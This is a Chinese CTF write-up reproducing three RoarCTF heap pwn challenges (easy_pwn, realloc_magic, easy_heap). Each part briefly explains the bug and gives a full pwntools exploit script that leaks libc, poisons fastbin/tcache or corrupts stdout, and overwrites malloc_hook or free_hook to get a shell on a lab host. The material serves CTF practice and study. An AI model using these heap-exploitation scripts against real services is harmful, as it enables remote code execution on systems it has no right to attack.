Roarctf 几道pwn 复现
1、easy_pwn
可以利用的点:
__int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // rax if ( a1 > (signed int)a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return (unsigned int)result; }
然后 覆盖了 下一个chunk的 size ,然后就是 像之前的0ctf2017的babyheap程序
具体可以参考这里
https://bbs.pediy.com/thread-246786.htm
payload:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' host = "192.168.244.153" port = 8888 #r = process("") r = remote(host,port) def add(size): r.recvuntil("choice: ") r.sendline(str(1)) r.recvuntil("size: ") r.sendline(str(size)) def edit(index,size,content): r.recvuntil("choice: ") r.sendline(str(2)) r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("size: ") r.sendline(str(size)) r.recvuntil("content: ") r.sendline(content) def free(index): r.recvuntil("choice: ") r.sendline(str(3)) r.recvuntil("index: ") r.sendline(str(index)) def show(index): r.recvuntil("choice: ") r.sendline(str(4)) r.recvuntil("index: ") r.sendline(str(index)) add(0x68)#0 add(0x68)#1 add(0x68)#2 add(0x68)#3 add(0x68)#4 add(0x68)#5 payload = 'a'*0x68+p8(0xe1) edit(0,0x68+0xa,payload) free(1) add(0x68)#1 show(2) r.recvuntil(": ") leak = u64(r.recv(6).ljust(8,'\x00')) libc = leak - 0x3c4b78 print "libc:"+hex(libc) free_hook = libc +0x3c67a8 malloc_hook = libc +0x3c4b10 ong_a = libc + 0x4526a realloc_hook = libc +0x846C0 payload = p64(malloc_hook -0x23) add(0x60)#6 free(2) edit(6,8,payload) add(0x60)#2 add(0x60)#7 payload = 'a'*0xb+p64(ong_a)+p64(realloc_hook) edit(7,len(payload),payload) add(0x68) r.interactive()
2、realloc_magic
程序:
int fr() { free(realloc_ptr); return puts("Done"); }
int ba() { if ( lock ) exit(-1); lock = 1; realloc_ptr = 0LL; return puts("Done"); }
int re() { size_t size; // [rsp+Ch] [rbp-4h] puts("Size?"); LODWORD(size) = get_int("Size?"); realloc_ptr = realloc(realloc_ptr, (unsigned int)size); puts("Content?"); read(0, realloc_ptr, (unsigned int)size); return puts("Done"); }
没有malloc ,这道题可以修改tcache的内容,因为tache 就在heap的最上面可以修改几个字节就星
首先 用double free realloc到 tcache去和修改一个chunk的大小,然后free掉 jiu可以 放到unsortbin去接下来就去布局了 继续realloc 的话就会从unsortdbin上扣出来,好像是。。。
既然修改到tcache去,就可以修改tcache 的chunk,这样就可以修改一个tcache中的chunk 指向IO_2_1_stdin去。接下来在用666
接下来就常规操作
我就参考了两个wp
都实现了下
payload:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import random context.log_level = 'debug' #host = "192.168.244.158" host = '127.0.0.1' port = 8888 #r = process("") r = remote(host,port) def dele(): r.recvuntil(">> ") r.sendline(str(2)) def realloc_(size,content): r.recvuntil(">> ") r.sendline(str(1)) r.recvuntil("Size?") r.sendline(str(size)) r.recvuntil("Content?") r.send(content) def lock_666(): r.recvuntil(">> ") r.sendline(str(666)) #realloc_(0x70,'a') #realloc_(0,'') #realloc_(0x100,'a') #realloc_(0,'') #realloc_(0xe0,'a') #realloc_(0,'a') #realloc_(0x100,'a') #[dele() for i in range(7)] #realloc_(0x0,'') #realloc_(0x70,'a') #realloc_(0x180,chr(0)*0x78+p64(0x41)+p16(0x9760-0x43)) #realloc_(0,'') #realloc_(0x100,'a') #realloc_(0,'') #realloc_(0x100,'a'*0x43+p64(0xfbad1887) + p64(0) *3 + "\x00") #leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00')) #leak=u64(r.recv(6).rjust(8,'\x00')) #print hex(leak) #libc = leak - 0x3ed8b0 #lock_666() #realloc_(0x70,'a') #realloc_(0,'') #realloc_(0x110,'a') #realloc_(0,'') #realloc_(0xf0,'a') #realloc_(0,'a') #realloc_(0x110,'a') #[dele() for i in range(7)] #realloc_(0x0,'') #realloc_(0x70,'a') #realloc_(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc + 0x3ed8e8)) #realloc_(0x0,'') #print hex(libc) #realloc_(0x110,'a') #realloc_(0,'') #ong_g = libc + 0x4f322 #realloc_(0x110,p64(ong_g)) #r.sendline(str(2)) realloc_(0x28,'a') dele() realloc_(0x68,'n') dele() realloc_(0x18,'n') realloc_(0,'') realloc_(0x48,'a') dele() realloc_(0,'') realloc_(0x68,'a'*0x18+p64(0x201)+p16(0x7010)) realloc_(0,'') realloc_(0x48,'s') realloc_(0,'') realloc_(0x48,'\xff'*0x38+p64(0x31)) realloc_(0x58, 'a' * 0x18 + ' ' *0x20 + p64(0x41)+p64(0) +p16(0x7050)) realloc_(0,'') realloc_(0x28,p64(0)*4+p16(0x072d)+p8(0xdd)) realloc_(0,'') realloc_(0x58,'a'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00')) print hex(leak) libc = leak - 0x3ed8b0 #realloc_(0,'') #realloc_(0x1e8,p64(0)*4+p16(0x072d)+p8(0xdd)) #realloc_(0,'') #realloc_(0x58,'a'*0x13+p64(0xfbad3c80)+p64(0)*3+chr(0)) #result=r.recvn(8) #realloc_(0x50, 'a' * 0x18 + ' ' * 0x20 + p64(0x201)+ p16(0x7060)) #realloc_(0,'') #realloc_(0x18,p64(0)+p64(0x1f1)+p16(0x072d)+p8(0xdd)) #realloc_(0,'') #realloc_(0x28,'a') #realloc_(0x1e8,'a') #realloc_(0x1e8,p16(0x072d)+p8(0xdd)) r.sendline(str(666)) realloc_(0x38,p64(0)+p64(libc+0x3ed8e8)) realloc_(0,'') ong_g = libc+0x4f322 realloc_(0x28,p64(ong_g)) r.sendline('2') r.interactive() #realloc_(0x50,'p'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) #leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00')) #print hex(leak) r.interactive()
easy_heap:
这道 只有show了一次就关了 stdou 和stderr
所以 其实就是劫持 bss上的 ,然后可以修改,在bss上伪造一个 unsortbin ,然后释放 就有了libc的地址,但是要用 那个给的realloc的 卡住,就能泄露出来了
我是在本地调试的。
payload:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level='debug' host = "192.168.244.158" port = 8888 r = remote(host,port) r.recvuntil("please input your username:") r.sendline('yezi') r.recvuntil("please input your info:") r.sendline('lan') def add2(size,content): sleep(0.1) r.sendline(str(1)) sleep(0.1) r.send(str(size).ljust(8, '\x00')) sleep(0.3) r.send(content) def add(size,content): r.recvuntil(">> ") r.sendline(str(1)) r.recvuntil("input the size") r.sendline(str(size)) r.recvuntil("please input your content") r.sendline(content) def free2(): sleep(0.2) r.sendline(str(2)) def free(): r.recvuntil(">> ") r.sendline(str(2)) def show(): r.recvuntil(">> ") r.sendline(str(3)) def e_666(chosn,content): r.recvuntil(">> ") r.sendline(str(666)) r.recvuntil("build or free?") if chosn == 1: r.sendline(str(1)) r.recvuntil("please input your content") r.sendline(content) else: r.sendline(str(2)) add(0x50,'a')#0 add(0x50,'b')#1 add(0x50,'c')#2 free() free() add(0x50,p64(0x602080)) add(0x50,'a') payload = 0xdeadbeefdeadbeef add(0x50,p64(0)+p64(0x6020b0)+p64(payload)+p64(0)+p64(0)+p64(0xb1)) e_666(1,'a') [free() for i in range(7)] add(0x70,'a') e_666(0,'a') add(0x8,'aaaaaaa') show() r.recvuntil("\n") libc = u64(r.recv(6).ljust(0x8,'\x00')) -0x3ebd40 log.info(hex(libc)) malloc_hook = libc + 0x3ebc30 free_hook = libc +0x3ed8e8 system = libc +0x4f440 add2(0x40,'aa') free2() free2() add2(0x40,p64(malloc_hook-0x8)) add2(0x40,p64(malloc_hook-0x8)) #payload = p64(system) payload = p64(libc+0x4f322)+p64(libc+0x98c30+9) add2(0x40,payload) add2(0x40,'touch 1.txt|cat flag > 1.txt') r.interactive()
参考:https://www.anquanke.com/post/id/188785#h3-6